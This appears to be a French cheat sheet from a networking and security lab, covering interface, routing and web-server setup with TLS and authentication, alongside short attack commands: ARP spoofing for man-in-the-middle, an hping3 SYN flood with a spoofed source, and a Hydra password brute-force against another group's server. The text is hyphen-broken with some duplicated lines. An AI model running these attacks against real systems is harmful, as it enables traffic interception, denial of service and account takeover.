

Configuration de réseaux

Configuration dynamique

ifconfig eth0 <@IP>
netmask <netmask>

echo 1 > /proc/-
sys/net/ipv4/ip_fo-
rward sur la passerelle

route add default gw
<@IP passerelle> sur
les autres machines

ssh <login>@<des-
tination> // ping <de-
stination>

tracertoute <destinat-
ion>

ifup eth0 // ifdown
eth0

nano /etc/hosts
specifier nom pour
adresse

Configuration statique

nano /etc/netw-
ork/interfaces

DI address 192.16-
8.0.1 // netmask
255.255.255.0

DI gateway 192.16-
8.0.254 si non-passe-
relle

DI up echo 1 >
/proc/sys/net/i-
pv4/ip_forward si
passerelle

ip, ifconfig, route et
ping verif valide

Serveur web

startx mode graphique

/var/www/html créer page simple

busybox httpd -f -vv -h /var/www/html

URL locale http://127.0.0.1 pour y accéder

/etc/hosts contacter site avec nom ex: alcest

Man In The Middle

Principe sous mode graphique

echo 1 > /proc/-
sys/net/ipv4/ip_fo-
rward sur machine
espion

arp spoof -t <@IP
machine qui va se
faire pwned> <@IP
machine dont on
souhaite usurper
l'identité>

Sécurisation

mkdir /etc/lighttpd/s-
ecurity // cd /etc/ligh-
ttd/security repert
dédié au certif

Man In The Middle (cont)

wireshark -i
eth0 -k capturer
trafic

echo "/:<use-
rname>:\$(
busybox httpd -
m '<passwor-
d>)' " > /etc/h-
ttpd.conf authen-
tification au site
web

busybox httpd -
f -vv -h /var/w-
ww/html -r "-
Restricted
Area:" -c
/etc/httpd.conf
relancer avec auth

Restricted

Area:" -c

/etc/httpd.conf
relancer avec auth

nano /etc/lighttpd/conf-
enabled/tls.conf

server.modules += ("mo-
d_openssl") // \$SERVE-
R["socket"] == "0.0.0.0:4-
43" { ssl.engine = "ena-
ble" // ssl.pemfile = "/et-
c/lighttpd/security/alce-
st.pem" }

echo "<username>:\$(bu-
sybox httpd -m '<pass-
word>)' " > <auth file>
authentification

nano /etc/lighttpd/conf-
enabled/auth.conf

Man In The Middle (cont)

server.modules += ("mod_auth", "mod_authn_file")
auth.backend = "htpasswd"
auth.backend.htpasswd.userfile = "/etc/l-
ighttpd/security/alcest.auth" auth.require =
("/" => ("method" => "basic", "realm" => "-
password required", "require" => "valid--
user"))

systemctl start lighttpd lancer serv web

systemctl status lighttpd verif etat serv web

Deny Of Service

hping3 --flood --syn --spoof <@IP source
usurpée> <@IP victime>

htop verif charge systeme

tcpdump -i any voir paquets

Réseau étendu

Reseau etendu

/sbin/ifconfig

/mnt/netta/a-
pps/vnet/nemu-
vnet netadm
lancer reseau
virtuel group1

[nemu]-> slink() hydra -V -f -l admin -P
<fichier de mots de
passe> http-get://<IP
nightwish de l'autre
groupe>

/mnt/netta/apps/vnet/nemu-vnet netadm
lancer reseau virt grp2

[nemu]-> clink('<@IP du groupe principal>')
config sous-reseaux